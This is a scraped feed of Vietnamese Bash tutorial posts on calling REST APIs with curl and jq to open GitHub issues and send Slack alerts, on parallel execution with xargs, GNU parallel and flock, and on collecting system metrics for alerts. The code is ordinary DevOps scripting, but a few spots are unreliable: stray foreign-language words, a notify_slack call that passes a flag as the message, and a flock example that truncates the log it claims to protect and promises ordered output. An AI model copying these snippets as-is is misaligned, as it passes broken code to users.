DEPLOY_ENV=\u0026#34;${DEPLOY_ENV:-production}\u0026#34; readonly TIMESTAMP=$(date \u0026#39;+%Y-%m-%d %H:%M:%S\u0026#39;) # Headers AUTH_HEADER=\u0026#34;Authorization: Bearer ${GITHUB_TOKEN}\u0026#34; ACCEPT_HEADER=\u0026#34;Accept: application/vnd.github.v3+json\u0026#34; # Hàm gọi GitHub API github_api() { local method=\u0026#34;$1\u0026#34; local endpoint=\u0026#34;$2\u0026#34; local data=\u0026#34;${3:-}\u0026#34; local args=( -s -f -S -X \u0026#34;$method\u0026#34; -H \u0026#34;$AUTH_HEADER\u0026#34; -H \u0026#34;$ACCEPT_HEADER\u0026#34; -H \u0026#34;Content-Type: application/json\u0026#34; ) if [[ -n \u0026#34;$data\u0026#34; ]]; then args+=(-d \u0026#34;$data\u0026#34;) fi curl \u0026#34;${args[@]}\u0026#34; \u0026#34;${API_BASE}${endpoint}\u0026#34; } # Kiểm tra issue đã tồn tại chưa (tránh duplicate) check_duplicate() { local title=\u0026#34;$1\u0026#34; local existing existing=$(github_api GET \u0026#34;/issues?state=open\u0026amp;labels=auto-deploy-failure\u0026amp;per_page=100\u0026#34; 2\u0026gt;/dev/null || echo \u0026#34;[]\u0026#34;) echo \u0026#34;$existing\u0026#34; | jq -r \u0026#39;.[].title\u0026#39; | grep -qF \u0026#34;$title\u0026#34; } # Tạo GitHub Issue create_issue() { local title=\u0026#34;$1\u0026#34; local body=\u0026#34;$2\u0026#34; if check_duplicate \u0026#34;$title\u0026#34;; then echo \u0026#34;[INFO] Duplicate issue found, skipping creation\u0026#34; return 0 fi local payload payload=$(jq -n \\ --arg title \u0026#34;$title\u0026#34; \\ --arg body \u0026#34;$body\u0026#34; \\ \u0026#39;{ title: $title, body: $body, labels: [\u0026#34;auto-deploy-failure\u0026#34;, \u0026#34;ops\u0026#34;], assignees: [] }\u0026#39;) local response response=$(github_api POST \u0026#34;/issues\u0026#34; \u0026#34;$payload\u0026#34;) if [[ $? -eq 0 ]]; then local issue_url issue_url=$(echo \u0026#34;$response\u0026#34; | jq -r \u0026#39;.html_url\u0026#39;) local issue_number issue_number=$(echo \u0026#34;$response\u0026#34; | jq -r \u0026#39;.number\u0026#39;) echo \u0026#34;[INFO] Created issue #${issue_number}: ${issue_url}\u0026#34; else echo \u0026#34;[ERROR] Failed to create issue\u0026#34; \u0026gt;\u0026amp;2 return 1 fi } # Gửi Slack notification notify_slack() { local message=\u0026#34;$1\u0026#34; if [[ -n \u0026#34;$SLACK_WEBHOOK\u0026#34; ]]; then curl -s -X POST -H \u0026#39;Content-type: application/json\u0026#39; \\ --data \u0026#34;{\\\u0026#34;text\\\u0026#34;:\\\u0026#34;${message}\\\u0026#34;}\u0026#34; \u0026#34;$SLACK_WEBHOOK\u0026#34; \u0026gt;/dev/null 2\u0026gt;\u0026amp;1 fi } # Main main() { local fail_reason=\u0026#34;${1:-Unknown failure}\u0026#34; local issue_title=\u0026#34;[DEPLOY FAIL] ${DEPLOY_ENV} — ${COMMIT_SHA} — $(date \u0026#39;+%Y-%m-%d\u0026#39;)\u0026#34; local issue_body=\u0026#34;## Deploy Failure Report **Environment:** \\`${DEPLOY_ENV}\\` **Commit:** \\`${COMMIT_SHA}\\` **Time:** ${TIMESTAMP} **Pipeline:** ${PIPELINE_URL} ### Commit Message \\`\\`\\` ${COMMIT_MSG} \\`\\`\\` ### Failure Reason ${fail_reason} ### Required Actions - [ ] Check pipeline logs - [ ] Verify deployment artifacts - [ ] Confirm service health - [ ] Update issue when resolved --- *Auto-generated by deployment monitoring script*\u0026#34; echo \u0026#34;Creating GitHub issue for failed deploy...\u0026#34; create_issue \u0026#34;$issue_title\u0026#34; \u0026#34;$issue_body\u0026#34; local slack_msg=\u0026#34;*[DEPLOY FAILURE]* ${DEPLOY_ENV}\\nCommit: \\`${COMMIT_SHA}\\`\\nReason: ${fail_reason}\\nPipeline: ${PIPELINE_URL}\u0026#34; notify_slack -e \u0026#34;$slack_msg\u0026#34; } main \u0026#34;$@\u0026#34; Sử dụng trong pipeline 1 2 3 4 5 6 7 8 9 # GitHub Actions example deploy: script: - bash deploy.sh after_script: - | if [[ \u0026#34;$CI_JOB_STATUS\u0026#34; == \u0026#34;failed\u0026#34; ]]; then bash .github/scripts/github-issue-on-failure.sh \u0026#34;Deploy job failed\u0026#34; fi Kết quả mẫu 1 2 Creating GitHub issue for failed deploy... [INFO] Created issue #247: https://github.com/org/repo/issues/247 GitHub Issue được tạo với:\nTitle: [DEPLOY FAIL] production — a1b2c3d — 2026-09-03 Labels: auto-deploy-failure, ops Body chứa environment, commit info, pipeline URL và checklist Ghi chú triển khai Token security: Luôn lưu GITHUB_TOKEN dưới dạng secret variable, không hardcode trong script. GitHub token cần scope repo để tạo issue. Duplicate prevention: Script kiểm tra issue trùng lặp trước khi tạo — tránh spam khi pipeline fail nhiều lần liên tiếp. jq dependency: Đảm bảo jq đã cài trên runner/CI machine. Hầu hết CI image đều có sẵn, nhưng nếu không, thêm apt-get install -y jq vào pipeline. Rate limiting: GitHub API có rate limit (5000 requests/hour cho authenticated user). Script này gọi ít request nên không vấn đề, nhưng khi viết script gọi API yoğun, hãy check header X-RateLimit-Remaining. Multi-platform: Script trên dùng GitHub API, nhưng bạn có thể thay thế endpoint để tạo issue trên GitLab, Jira, hay bất kỳ hệ thống issue tracking nào có REST API. Lời kết Bash và REST API là combination cực kỳ mạnh mẽ trong DevOps. Từ việc gọi API đơn giản với curl, parse JSON phức tạp với jq, xử lý retry logic, đến tự động tạo GitHub Issue khi deploy thất bại — tất cả đều có thể thực hiện chỉ với Bash mà không cần framework nặng.\nỞ bài tiếp theo, chúng ta sẽ khám phá Bash và Cloud CLI: cách quản lý AWS, GCP, Azure từ Bash, query JSON output, và tự động hóa cloud tasks.\n","date":"03/09/2026","image":"https://tech.nguuyen.io.vn/images/bash/bash-step-seventeen.webp","permalink":"/vi/posts/bash/bash-step-seventeen/","summary":"Hướng dẫn gọi REST API với curl trong Bash: GET/POST/PUT/DELETE, parse JSON với jq, bearer auth, retry logic, và tự động hóa GitHub/Slack API trong DevOps.","tags":["bash","shell-script","devops","rest-api","curl","jq","json","github-api","slack-api"],"title":"Bash và REST API: Gọi và xử lý API hiệu quả trong DevOps"},{"categories":["DevOps","Bash"],"content":"Parallel Execution trong Bash Trong bài viết trước, chúng ta đã tìm hiểu cách thu thập metric hệ thống và gửi cảnh báo tự động. Nhưng có một vấn đề mà monitoring script thường gặp phải: khi bạn cần kiểm tra 50 server cùng lúc, chạy tuần tự từng máy sẽ mất hàng phút — thậm chí hàng giờ nếu mỗi server mất vài giây để phản hồi.\nParallel Execution giải quyết vấn đề này: thay vì chờ server A xong mới qua server B, bạn chạy cả hai cùng lúc. Bash cung cấp nhiều cơ chế để thực hiện song song — từ \u0026amp;/wait đơn giản, xargs -P tiện lợi, đến GNU parallel mạnh mẽ. Bài viết này sẽ hướng dẫn bạn cách tận dụng song song hóa để tối ưu hiệu suất script DevOps.\nCơ chế parallel cơ bản trong Bash Background process với \u0026amp; Ký hiệu \u0026amp; ở cuối lệnh sẽ chạy lệnh đó trong background, cho phép Bash tiếp tục thực thi câu tiếp theo:\n1 2 3 4 5 6 7 8 9 # Chạy tuần tự: mất ~9 giây sleep 3 sleep 3 sleep 3 # Chạy song song với \u0026amp;: mất ~3 giây sleep 3 \u0026amp; sleep 3 \u0026amp; sleep 3 \u0026amp; Đợi tất cả hoàn thành với wait wait chặn cho đến khi tất cả background process hoàn thành:\n1 2 3 4 5 6 echo \u0026#34;Bắt đầu...\u0026#34; sleep 3 \u0026amp; sleep 2 \u0026amp; sleep 1 \u0026amp; wait echo \u0026#34;Tất cả đã xong!\u0026#34; Kiểm tra tiến trình đang chạy với jobs 1 2 3 4 5 6 7 8 # Liệt kê các background job jobs -l # Chỉ đếm job đang chạy jobs -r | wc -l # Chỉ đếm job đã dừng jobs -s | wc -l Quản lý PID Mỗi background process có một PID duy nhất. Bạn có thể lưu PID để kiểm soát:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # Lưu PID sleep 60 \u0026amp; PID=$! echo \u0026#34;Started background job with PID: $PID\u0026#34; # Kiểm tra job còn chạy không if kill -0 \u0026#34;$PID\u0026#34; 2\u0026gt;/dev/null; then echo \u0026#34;Job $PID is still running\u0026#34; else echo \u0026#34;Job $PID has finished\u0026#34; fi # Dừng job kill \u0026#34;$PID\u0026#34; # Dừng mạnh kill -9 \u0026#34;$PID\u0026#34; Giới hạn concurrency Chạy quá nhiều background process cùng lúc có thể gây overload. Cách phổ biến nhất để giới hạn là dùng file descriptor hoặc PID array:\nPhương pháp 1: Dùng PID array 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 MAX_PARALLEL=3 pids=() for i in $(seq 1 10); do echo \u0026#34;Starting task $i...\u0026#34; sleep 2 \u0026amp; # Mô phỏng task pids+=($!) # Đợi khi đạt giới hạn if [[ ${#pids[@]} -ge $MAX_PARALLEL ]]; then wait \u0026#34;${pids[0]}\u0026#34; pids=(\u0026#34;${pids[@]:1}\u0026#34;) # Xóa PID đầu tiên fi done # Đợi tất cả còn lại for pid in \u0026#34;${pids[@]}\u0026#34;; do wait \u0026#34;$pid\u0026#34; done echo \u0026#34;All tasks completed.\u0026#34; Phương pháp 2: Dùng jobs để đếm 1 2 3 4 5 6 7 8 9 10 11 12 13 MAX_PARALLEL=3 for server in server1 server2 server3 server4 server5; do ssh \u0026#34;$server\u0026#34; \u0026#34;uptime\u0026#34; \u0026amp; # Đợi khi có quá nhiều job đang chạy while [[ $(jobs -r | wc -l) -ge $MAX_PARALLEL ]]; do sleep 0.1 done done wait echo \u0026#34;All servers checked.\u0026#34; xargs — Parallel với -P xargs là công cụ mạnh mẽ để chạy lệnh trên danh sách input. Flag -P cho phép chạy song song:\n1 2 3 4 5 6 7 8 # Chạy ssh trên 3 server song song printf \u0026#34;%s\\n\u0026#34; server1 server2 server3 | xargs -n 1 -P 3 -I {} ssh user@{} \u0026#34;hostname\u0026#34; # Kiểm tra disk trên nhiều server printf \u0026#34;%s\\n\u0026#34; server{1..10} | xargs -n 1 -P 5 -I {} bash -c \u0026#39; disk=$(ssh user@{} \u0026#34;df / | tail -1 | awk \\\u0026#34;{print \\$5}\\\u0026#34;\u0026#34; 2\u0026gt;/dev/null) echo \u0026#34;{}: ${disk:-FAIL}\u0026#34; \u0026#39; Giải thích flags:\n-n 1: Mỗi lần chỉ lấy 1 đối số từ input. -P 3: Tối đa 3 process chạy đồng thời. -I {}: Placeholder để chèn giá trị input vào lệnh. Ví dụ practical: Backup nhiều database cùng lúc 1 2 3 4 5 6 7 8 9 10 11 DATABASES=(\u0026#34;db_users\u0026#34; \u0026#34;db_orders\u0026#34; \u0026#34;db_inventory\u0026#34; \u0026#34;db_logs\u0026#34; \u0026#34;db_analytics\u0026#34;) printf \u0026#34;%s\\n\u0026#34; \u0026#34;${DATABASES[@]}\u0026#34; | xargs -n 1 -P 3 -I {} bash -c \u0026#39; echo \u0026#34;Backing up {}...\u0026#34; mysqldump --single-transaction {} \u0026gt; /backup/{}_$(date +%Y%m%d).sql if [[ $? -eq 0 ]]; then echo \u0026#34;SUCCESS: {}\u0026#34; else echo \u0026#34;FAILED: {}\u0026#34; fi \u0026#39; GNU parallel — Công cụ mạnh nhất GNU parallel là công cụ chuyên dụng cho parallel execution, mạnh hơn xargs với nhiều tính năng:\nCài đặt 1 2 3 4 5 6 7 8 # Debian/Ubuntu apt-get install -y parallel # CentOS/RHEL yum install -y parallel # macOS brew install parallel Sử dụng cơ bản 1 2 3 4 5 6 7 8 # Chạy ssh trên nhiều server parallel -j 3 ssh user@{} \u0026#34;df -h /\u0026#34; ::: server1 server2 server3 server4 # Chạy với nhiều tham số parallel -j 3 echo \u0026#34;Processing {1} with {2}\u0026#34; ::: A B C ::: 1 2 3 # Đọc input từ file parallel -j 5 \u0026lt; server_list.txt ssh {} \u0026#34;uptime\u0026#34; Tính năng nâng cao 1 2 3 4 5 6 7 8 9 10 11 12 13 14 # Hiển thị tiến trình parallel --progress -j 3 sleep {} ::: 1 2 3 4 5 # Hiển thị ETA parallel --eta -j 3 sleep {} ::: 1 2 3 4 5 # Kết quả theo thứ tự parallel --keep-order -j 3 echo {} ::: C B A # Ghi output ra file riêng cho mỗi job parallel --results /tmp/results/ -j 3 echo {} ::: task1 task2 task3 # Dry-run (chỉ in lệnh, không chạy) parallel --dry-run -j 3 ssh user@{} \u0026#34;apt update\u0026#34; ::: server1 server2 server3 Ví dụ: Parallel SSH execution trên production 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 #!/usr/bin/env bash # parallel-ssh.sh — Chạy lệnh trên nhiều server song song với GNU parallel set -euo pipefail readonly SERVERS_FILE=\u0026#34;${1:-servers.txt}\u0026#34; readonly COMMAND=\u0026#34;${2:?Usage: $0 \u0026lt;servers.txt\u0026gt; \u0026lt;command\u0026gt;}\u0026#34; readonly MAX_JOBS=\u0026#34;${MAX_JOBS:-5}\u0026#34; readonly SSH_OPTS=\u0026#34;-o ConnectTimeout=10 -o StrictHostKeyChecking=accept-new\u0026#34; if [[ ! -f \u0026#34;$SERVERS_FILE\u0026#34; ]]; then echo \u0026#34;Error: Server file $SERVERS_FILE not found\u0026#34; \u0026gt;\u0026amp;2 exit 1 fi echo \u0026#34;Running on $(grep -cvE \u0026#39;^\\s*#|^\\s*$\u0026#39; \u0026#34;$SERVERS_FILE\u0026#34;) servers with max $MAX_JOBS parallel jobs...\u0026#34; grep -vE \u0026#39;^\\s*#|^\\s*$\u0026#39; \u0026#34;$SERVERS_FILE\u0026#34; | parallel -j \u0026#34;$MAX_JOBS\u0026#34; --keep-order --joblog /tmp/parallel-ssh.log \u0026#39; result=$(ssh \u0026#39;\u0026#34;$SSH_OPTS\u0026#34;\u0026#39; {} \u0026#34;\u0026#39;\u0026#34;${COMMAND}\u0026#34;\u0026#39;\u0026#34; 2\u0026gt;\u0026amp;1) exit_code=$? if [[ $exit_code -eq 0 ]]; then echo \u0026#34;[OK] {}\u0026#34; else echo \u0026#34;[FAIL] {} (exit: $exit_code)\u0026#34; fi echo \u0026#34; Output: $result\u0026#34; \u0026#39; echo \u0026#34;\u0026#34; echo \u0026#34;Job log saved to /tmp/parallel-ssh.log\u0026#34; Race condition và File lock Khi nhiều process cùng ghi vào một file, race condition có thể xảy ra — dữ liệu bị ghi đè hoặc lẫn lộn. flock giải quyết vấn đề này bằng file lock:\nVấn đề race condition 1 2 3 4 5 6 # NGUY HIỂM: Nhiều process cùng ghi log → race condition for i in $(seq 1 10); do echo \u0026#34;Task $i completed\u0026#34; \u0026gt;\u0026gt; /tmp/shared.log \u0026amp; done wait # Kết quả: Có thể mất dòng hoặc bị乱序 Giải pháp với flock 1 2 3 4 5 6 7 8 9 # An toàn: Dùng flock để lock file trước khi ghi for i in $(seq 1 10); do ( flock 200 # Lock file descriptor 200 echo \u0026#34;Task $i completed at $(date \u0026#39;+%H:%M:%S.%N\u0026#39;)\u0026#34; \u0026gt;\u0026gt; /tmp/shared.log ) 200\u0026gt;/tmp/shared.log \u0026amp; done wait # Kết quả: Đúng thứ tự, không mất dòng Kèm flock trong script 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #!/usr/bin/env bash # safe-concurrent-write.sh — Ghi log an toàn khi chạy parallel exec 200\u0026gt;/tmp/app.lock # Mở file descriptor cho lock for task in task1 task2 task3 task4 task5; do ( flock 200 echo \u0026#34;[$(date \u0026#39;+%Y-%m-%d %H:%M:%S\u0026#39;)] Processing $task\u0026#34; \u0026gt;\u0026gt; /tmp/app.log sleep $((RANDOM % 3)) # Mô phỏng task echo \u0026#34;[$(date \u0026#39;+%Y-%m-%d %H:%M:%S\u0026#39;)] Completed $task\u0026#34; \u0026gt;\u0026gt; /tmp/app.log ) \u0026amp; done wait echo \u0026#34;All tasks finished. Log:\u0026#34; cat /tmp/app.log Ví dụ thực hành: Parallel system health check 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 #!/usr/bin/env bash # ============================================================================== # Script : parallel-healthcheck.sh # Mục đích: Kiểm tra health nhiều server song song với kết quả aggregate # ============================================================================== set -euo pipefail readonly SERVERS_FILE=\u0026#34;${SERVERS_FILE:-/etc/healthcheck/servers.txt}\u0026#34; readonly MAX_JOBS=\u0026#34;${MAX_JOBS:-10}\u0026#34; readonly TIMEOUT=\u0026#34;${TIMEOUT:-10}\u0026#34; readonly LOG_DIR=\u0026#34;/var/log/healthcheck\u0026#34; readonly TIMESTAMP=$(date \u0026#39;+%Y%m%d_%H%M%S\u0026#39;) readonly RESULT_FILE=\u0026#34;${LOG_DIR}/result_${TIMESTAMP}.txt\u0026#34; readonly FAIL_FILE=\u0026#34;${LOG_DIR}/failures_${TIMESTAMP}.txt\u0026#34; mkdir -p \u0026#34;$LOG_DIR\u0026#34; # Check functions check_ssh() { local server=\u0026#34;$1\u0026#34; ssh -o ConnectTimeout=\u0026#34;$TIMEOUT\u0026#34; -o BatchMode=yes \\ \u0026#34;deploy@${server}\u0026#34; \u0026#34;echo OK\u0026#34; 2\u0026gt;/dev/null } check_disk() { local server=\u0026#34;$1\u0026#34; ssh -o ConnectTimeout=\u0026#34;$TIMEOUT\u0026#34; -o BatchMode=yes \\ \u0026#34;deploy@${server}\u0026#34; \u0026#34;df / | tail -1 | awk \u0026#39;{print \\$5}\u0026#39; | tr -d \u0026#39;%\u0026#39;\u0026#34; 2\u0026gt;/dev/null } check_service() { local server=\u0026#34;$1\u0026#34; service=\u0026#34;$2\u0026#34; ssh -o ConnectTimeout=\u0026#34;$TIMEOUT\u0026#34; -o BatchMode=yes \\ \u0026#34;deploy@${server}\u0026#34; \u0026#34;systemctl is-active --quiet ${service} \u0026amp;\u0026amp; echo OK || echo DOWN\u0026#34; 2\u0026gt;/dev/null } # Worker function for parallel check_server() { local server=\u0026#34;$1\u0026#34; local status=\u0026#34;OK\u0026#34; local details=\u0026#34;\u0026#34; # Check SSH if ! check_ssh \u0026#34;$server\u0026#34; \u0026gt;/dev/null 2\u0026gt;\u0026amp;1; then echo \u0026#34;FAIL ${server} SSH connection failed\u0026#34; return 1 fi # Check disk local disk disk=$(check_disk \u0026#34;$server\u0026#34;) if [[ -n \u0026#34;$disk\u0026#34; \u0026amp;\u0026amp; \u0026#34;$disk\u0026#34; -gt 85 ]]; then details+=\u0026#34;disk:${disk}% \u0026#34; status=\u0026#34;WARN\u0026#34; fi # Check services for svc in nginx docker sshd; do local svc_status svc_status=$(check_service \u0026#34;$server\u0026#34; \u0026#34;$svc\u0026#34;) if [[ \u0026#34;$svc_status\u0026#34; == \u0026#34;DOWN\u0026#34; ]]; then details+=\u0026#34;${svc}:down \u0026#34; status=\u0026#34;WARN\u0026#34; fi done echo \u0026#34;${status} ${server} ${details}\u0026#34; } export -f check_ssh check_disk check_service check_server export TIMEOUT main() { if [[ ! -f \u0026#34;$SERVERS_FILE\u0026#34; ]]; then echo \u0026#34;Error: $SERVERS_FILE not found\u0026#34; \u0026gt;\u0026amp;2 exit 1 fi local total total=$(grep -cvE \u0026#39;^\\s*#|^\\s*$\u0026#39; \u0026#34;$SERVERS_FILE\u0026#34;) echo \u0026#34;Checking $total servers with max $MAX_JOBS parallel jobs...\u0026#34; echo \u0026#34;\u0026#34; grep -vE \u0026#39;^\\s*#|^\\s*$\u0026#39; \u0026#34;$SERVERS_FILE\u0026#34; | \\ parallel -j \u0026#34;$MAX_JOBS\u0026#34; --keep-order --joblog \u0026#34;${LOG_DIR}/joblog_${TIMESTAMP}.log\u0026#34; \\ check_server {} 2\u0026gt;/dev/null | tee \u0026#34;$RESULT_FILE\u0026#34; # Summary local ok_count warn_count fail_count ok_count=$(grep -c \u0026#34;^OK\u0026#34; \u0026#34;$RESULT_FILE\u0026#34; 2\u0026gt;/dev/null || echo 0) warn_count=$(grep -c \u0026#34;^WARN\u0026#34; \u0026#34;$RESULT_FILE\u0026#34; 2\u0026gt;/dev/null || echo 0) fail_count=$(grep -c \u0026#34;^FAIL\u0026#34; \u0026#34;$RESULT_FILE\u0026#34; 2\u0026gt;/dev/null || echo 0) echo \u0026#34;\u0026#34; echo \u0026#34;========================================\u0026#34; echo \u0026#34; SUMMARY\u0026#34; echo \u0026#34; Total: $total\u0026#34; echo \u0026#34; OK: $ok_count\u0026#34; echo \u0026#34; WARN: $warn_count\u0026#34; echo \u0026#34; FAIL: $fail_count\u0026#34; echo \u0026#34;========================================\u0026#34; # List failures if [[ \u0026#34;$fail_count\u0026#34; -gt 0 ]]; then echo \u0026#34;\u0026#34; echo \u0026#34;Failures:\u0026#34; grep \u0026#34;^FAIL\u0026#34; \u0026#34;$RESULT_FILE\u0026#34; | tee \u0026#34;$FAIL_FILE\u0026#34; fi # Exit with error if any failures [[ \u0026#34;$fail_count\u0026#34; -gt 0 ]] \u0026amp;\u0026amp; exit 1 } main \u0026#34;$@\u0026#34; Kết quả mẫu 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 Checking 8 servers with max 5 parallel jobs... OK web-01 OK web-02 WARN db-01 disk:87% docker:down OK web-03 OK worker-01 OK worker-02 FAIL bastion SSH connection failed OK web-04 ======================================== SUMMARY Total: 8 OK: 6 WARN: 1 FAIL: 1 ======================================== Failures: FAIL bastion SSH connection failed Ghi chú triển khai Giới hạn concurrency luôn là bắt buộc: Chạy quá nhiều SSH session hoặc HTTP request cùng lúc có thể gây overload network hoặc server nguồn. Luôn thiết lập MAX_JOBS phù hợp — thường 5-10 cho SSH, 20-50 cho HTTP request. Race condition khi ghi log: Khi parallel script ghi vào cùng một file, luôn dùng flock hoặc mỗi process ghi vào file riêng rồi aggregate sau. Test tuần tự trước khi parallel: Luôn chạy script ở chế độ sequential (MAX_JOBS=1) để xác nhận logic đúng, sau đó mới tăng parallelism. GNU parallel vs xargs: xargs -P đủ cho大多数 use case đơn giản. GNU parallel mạnh hơn khi cần: giữ nguyên thứ tự output, hiển thị progress/ETA, xử lý lỗi phức tạp, hoặc chạy trên nhiều host. Timeout: Luôn đặt timeout cho SSH và HTTP request để tránh script treo vô hạn khi một server không phản hồi. Lời kết Parallel Execution là kỹ năng nâng cao nhưng cực kỳ hữu ích trong Bash scripting. Từ background process đơn giản với \u0026amp;/wait, đến xargs -P tiện lợi và GNU parallel mạnh mẽ — bạn có thể giảm đáng kể thời gian xử lý các task lớn. Kết hợp với flock để tránh race condition, bạn sẽ có một hệ thống parallel execution an toàn và hiệu quả.\nỞ bài tiếp theo, chúng ta sẽ khám phá Bash và REST API: gọi API với curl, parse JSON với jq, gửi auth bearer token, và tự động hóa workflow với GitHub/Slack API.\n","date":"02/09/2026","image":"https://tech.nguuyen.io.vn/images/bash/bash-step-sixteen.webp","permalink":"/vi/posts/bash/bash-step-sixteen/","summary":"Hướng dẫn chạy song song trong Bash với background process, wait, jobs, xargs -P, GNU parallel, quản lý concurrency, race condition và file lock flock trong DevOps.","tags":["bash","shell-script","devops","parallel-execution","xargs","gnu-parallel","concurrency","performance"],"title":"Bash nâng cao: Parallel Execution trong DevOps"},{"categories":["DevOps","Bash"],"content":"Monitoring với Bash trong DevOps Trong bài viết trước, chúng ta đã tìm hiểu cách kết hợp Bash và Docker để quản lý container, viết watchdog script tự động restart khi crash. Bây giờ, chúng ta sẽ mở rộng phạm vi giám sát — không chỉ container mà toàn bộ hệ thống: CPU, RAM, Disk, Network, và gửi cảnh báo đến team khi có vấn đề phát sinh.\nTrong DevOps, monitoring là \u0026ldquo;mắt thần\u0026rdquo; giúp bạn phát hiện vấn đề trước khi chúng trở thành sự cố nghiêm trọng. Nhiều người nghĩ rằng monitoring phải dùng Prometheus, Grafana hay Datadog — nhưng thực tế, với một script Bash kết hợp cron, bạn đã có thể thu thập metric, gửi alert qua Slack/Telegram, và tạo daily report mà không cần cài thêm bất kỳ agent nào.\nBài viết này sẽ hướng dẫn bạn cách thu thập các metric hệ thống cốt lõi, gửi cảnh báo qua webhook, lưu dữ liệu dạng CSV để phân tích sau, và kết hợp mọi thứ thành một daily report script hoàn chỉnh.\nThu thập metric hệ thống CPU 1 2 3 4 5 6 7 8 9 10 11 12 13 14 # CPU usage từ idle cpu_usage() { top -bn1 | grep \u0026#34;Cpu(s)\u0026#34; | awk \u0026#39;{print 100 - $8}\u0026#39; | tr -d \u0026#39;,\u0026#39; } # Load average 1 phút load_avg() { awk \u0026#39;{print $1}\u0026#39; /proc/loadavg } # Số CPU cores cpu_cores() { nproc } RAM 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 # RAM usage percentage ram_usage() { free | awk \u0026#39;/Mem:/ {printf \u0026#34;%.1f\u0026#34;, $3/$2*100}\u0026#39; } # RAM used (MB) ram_used() { free -m | awk \u0026#39;/Mem:/ {print $3}\u0026#39; } # RAM total (MB) ram_total() { free -m | awk \u0026#39;/Mem:/ {print $2}\u0026#39; } # Swap usage percentage swap_usage() { free | awk \u0026#39;/Swap:/ {if ($2 \u0026gt; 0) printf \u0026#34;%.1f\u0026#34;, $3/$2*100; else print \u0026#34;0\u0026#34;}\u0026#39; } Disk 1 2 3 4 5 6 7 8 9 10 11 12 13 14 # Root partition usage percentage disk_usage() { df / | tail -1 | awk \u0026#39;{print $5}\u0026#39; | tr -d \u0026#39;%\u0026#39; } # Disk used (GB) disk_used() { df -BG / | tail -1 | awk \u0026#39;{print $3}\u0026#39; | tr -d \u0026#39;G\u0026#39; } # Disk total (GB) disk_total() { df -BG / | tail -1 | awk \u0026#39;{print $2}\u0026#39; | tr -d \u0026#39;G\u0026#39; } Network 1 2 3 4 5 6 7 8 9 10 11 12 13 14 # Network bytes received (từ boot) net_rx() { awk \u0026#39;/eth0|ens/ {print $2}\u0026#39; /proc/net/dev } # Network bytes transmitted (từ boot) net_tx() { awk \u0026#39;/eth0|ens/ {print $10}\u0026#39; /proc/net/dev } # Số kết nối TCP đang established tcp_connections() { ss -s | awk \u0026#39;/^TCP:/ {print $4}\u0026#39; | tr -d \u0026#39;,\u0026#39; } Số tiến trình và uptime 1 2 3 4 5 6 7 8 9 # Số tiến trình đang chạy running_procs() { ps aux | wc -l } # Uptime (giờ) uptime_hours() { awk \u0026#39;{printf \u0026#34;%.1f\u0026#34;, $1/3600}\u0026#39; /proc/uptime } Gửi cảnh báo qua webhook Slack Webhook 1 2 3 4 5 6 7 8 9 10 11 12 13 send_slack() { local message=\u0026#34;$1\u0026#34; local webhook=\u0026#34;${SLACK_WEBHOOK:-}\u0026#34; if [[ -z \u0026#34;$webhook\u0026#34; ]]; then echo \u0026#34;[WARN] SLACK_WEBHOOK not set — skipping notification\u0026#34; return 1 fi curl -s -X POST -H \u0026#39;Content-type: application/json\u0026#39; \\ --data \u0026#34;{\\\u0026#34;text\\\u0026#34;:\\\u0026#34;${message}\\\u0026#34;}\u0026#34; \\ \u0026#34;$webhook\u0026#34; \u0026gt;/dev/null 2\u0026gt;\u0026amp;1 } Telegram Bot API 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 send_telegram() { local message=\u0026#34;$1\u0026#34; local bot_token=\u0026#34;${TELEGRAM_BOT_TOKEN:-}\u0026#34; local chat_id=\u0026#34;${TELEGRAM_CHAT_ID:-}\u0026#34; if [[ -z \u0026#34;$bot_token\u0026#34; || -z \u0026#34;$chat_id\u0026#34; ]]; then echo \u0026#34;[WARN] TELEGRAM_BOT_TOKEN or TELEGRAM_CHAT_ID not set\u0026#34; return 1 fi curl -s -X POST \u0026#34;https://api.telegram.org/bot${bot_token}/sendMessage\u0026#34; \\ -d \u0026#34;chat_id=${chat_id}\u0026#34; \\ -d \u0026#34;text=${message}\u0026#34; \\ -d \u0026#34;parse_mode=Markdown\u0026#34; \u0026gt;/dev/null 2\u0026gt;\u0026amp;1 } Email (dùng mailx/sendmail) 1 2 3 4 5 6 7 8 9 10 11 12 send_email() { local subject=\u0026#34;$1\u0026#34; local body=\u0026#34;$2\u0026#34; local recipient=\u0026#34;${ALERT_EMAIL:-}\u0026#34; if [[ -z \u0026#34;$recipient\u0026#34; ]]; then echo \u0026#34;[WARN] ALERT_EMAIL not set\u0026#34; return 1 fi echo \u0026#34;$body\u0026#34; | mail -s \u0026#34;$subject\u0026#34; \u0026#34;$recipient\u0026#34; 2\u0026gt;/dev/null } Lưu metric vào CSV Ghi metric vào file CSV giúp bạn phân tích xu hướng và tạo biểu đồ sau này:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 readonly CSV_FILE=\u0026#34;${CSV_FILE:-/var/log/metrics.csv}\u0026#34; # Tạo header nếu file chưa tồn tại init_csv() { if [[ ! -f \u0026#34;$CSV_FILE\u0026#34; ]]; then echo \u0026#34;timestamp,hostname,cpu_pct,ram_pct,disk_pct,load_avg,procs,tcp_conn\u0026#34; \u0026gt; \u0026#34;$CSV_FILE\u0026#34; fi } # Ghi một dòng metric record_metric() { local ts hostname cpu ram disk load procs conn ts=$(date \u0026#39;+%Y-%m-%d %H:%M:%S\u0026#39;) hostname=$(hostname -s) cpu=$(cpu_usage) ram=$(ram_usage) disk=$(disk_usage) load=$(load_avg) procs=$(running_procs) conn=$(tcp_connections) echo 